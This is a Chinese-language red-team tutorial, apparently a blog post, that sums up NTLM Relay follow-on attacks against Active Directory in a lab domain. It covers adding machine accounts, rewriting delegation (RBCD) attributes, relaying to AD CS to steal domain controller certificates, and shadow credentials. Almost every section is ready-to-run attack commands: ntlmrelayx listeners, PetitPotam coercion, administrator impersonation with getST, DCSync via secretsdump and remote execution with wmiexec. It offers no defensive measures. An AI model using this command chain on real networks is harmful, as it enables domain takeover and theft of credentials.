红队域渗透NTLM Relay:中继后攻击思路总结
字数 1367 2025-08-06 18:07:47
红队域渗透NTLM Relay攻击思路总结
0x00 攻击思路概述
NTLM Relay攻击可以从域内目标资源对象展开,主要分为以下几种攻击方式:
- 针对ADCS的攻击
- 针对域内主机资源的RBCD攻击
- 针对当前计算机的攻击
- 针对影子账户的攻击
0x01 添加机器账户 (--add-computer)
攻击条件
- 强制认证的目标需要有高权限,可以创建用户
- 目标的ms-DS-MachineAccountQuota属性不为0
- 目标具有SeMachineAccountPrivilege特权
攻击流程
- 启动监听器:
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest$ --remove-mic
参数说明:
--add-computer JustTest$:新增的机器账户名--remove-mic:绕过MIC验证
- 触发认证(使用PetitPotam):
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6
效果验证
AdFind.exe -h 20.20.20.5 -u spiderman -up 123.com -b "DC=hack,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
0x02 修改目标服务器RBCD属性 (--delegate-access, --escalate-user)
攻击原理
强制NTLM验证后对目标服务器RBCD属性进行修改,指向一个新的机器账户(或已存在的),之后利用该机器账户进行后渗透(如DCSync)。
攻击条件
- 域控支持LDAPS协议
- 能创建机器账户或已有可控的机器账户
攻击流程
- 创建机器账户:
python3 bloodyAD.py -d hack.lab -u spiderman -p '123.com' --host 20.20.20.5 addComputer CPT001 '123.com'
- 开启监听:
python3 ntlmrelayx.py -t ldap://DC01.hack.lab -smb2support --remove-mic --delegate-access --escalate-user CPT001$
- 触发认证:
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.10
验证及使用
- 查看RBCD属性:
Get-ADComputer USER01 -Properties PrincipalsAllowedToDelegateToAccount
- 申请服务票据:
python3 getST.py -spn cifs/USER01.hack.lab -impersonate administrator hack.lab/CPT001\$:123.com -dc-ip 20.20.20.5
0x03 转储AD CS注册服务和证书模板信息 (--dump-adcs)
攻击原理
通过LDAP获得域的ADCS配置(注册服务和证书模板,以及它们的访问权限),以便能够在没有域账户的情况下知道ADCS中继的目标服务器和模板。
攻击流程
- 找到网络注册服务的地址:
curl xx.xx.xx.xx/certsrv/ -I
- 设置监听器:
python3 ntlmrelayx.py -debug -t ldap://20.20.20.5 --dump-adcs --remove-mic
- 强制NTLM认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6
0x04 获取AD CS证书
攻击原理
在域内配置了AD CS的情况下,可以通过NTLM Relay攻击获取到的证书进行申请TGT操作。
前置条件
- AD CS被配置为允许NTLM认证
- NTLM认证没有受到EPA或SMB签名的保护
- AD CS正在运行这些服务中的任何一个:
- 证书颁发机构web注册
- 证书注册web服务
攻击流程(支持PKINIT协议)
- 设置监听器:
python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/certfnsh.asp --adcs --template DomainController
- 强制认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.5
- 证书处理:
cat DC01_base64.txt | base64 -d > dc01.pfx
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache
- 后渗透攻击:
# 获取域控Hash
KRB5CCNAME=dc01.ccache python3 getnthash.py -key b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50 hack.lab/DC01$
# 执行DCSync攻击
KRB5CCNAME=dc01.ccache python3 secretsdump.py -k hack.lab/DC01\$@DC01.hack.lab -no-pass -just-dc-user administrator
攻击流程(不支持PKINIT协议)
- 使用Certipy工具获取pfx文件中的密钥和证书信息:
certipy cert -pfx NoPKI02.pfx -nokey -out NoPKI02.crt
certipy cert -pfx NoPKI02.pfx -nocert -out NoPKI02.key
- 使用passthecert.py创建机器账户:
python3 passthecert.py -action add_computer -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com
- 添加RBCD属性:
python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$
- 后渗透:
python3 getST.py -spn cifs/DC01.hack.lab -impersonate administrator hack.lab/NoPKI02\$:123.com -dc-ip 20.20.20.5
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k hack.lab/administrator@DC01.hack.lab -no-pass -dc-ip 20.20.20.5
0x05 修改Shadow Credentials属性(影子账户) (--shadow-credentials)
攻击原理
在支持PKINIT协议的域内环境,若目标机器账户存在msDS-KeyCredentialLink属性(公钥信息),在预认证中,可以使用对应的证书(私钥信息)进行验证身份。
攻击条件
- 目标服务器支持PKINIT协议
- 域控制器版本在Windows Server 2016以上
- 域内安装了AD CS服务
攻击流程
- 开启监听器:
python3 ntlmrelayx.py -t ldap://DC01.hack.lab --remove-mic --shadow-credentials --shadow-target F2016$
- 执行强制认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6
0x06 利用Exchange创建机器账户 (CVE-2021-34470)
攻击原理
利用Exchange安装中一个有漏洞的LDAP模式对象,执行添加机器账户操作,绕过创建机器账户的限制。
攻击方式
相关攻击方式已经集成至ntlmrelay中的--add-computer参数中。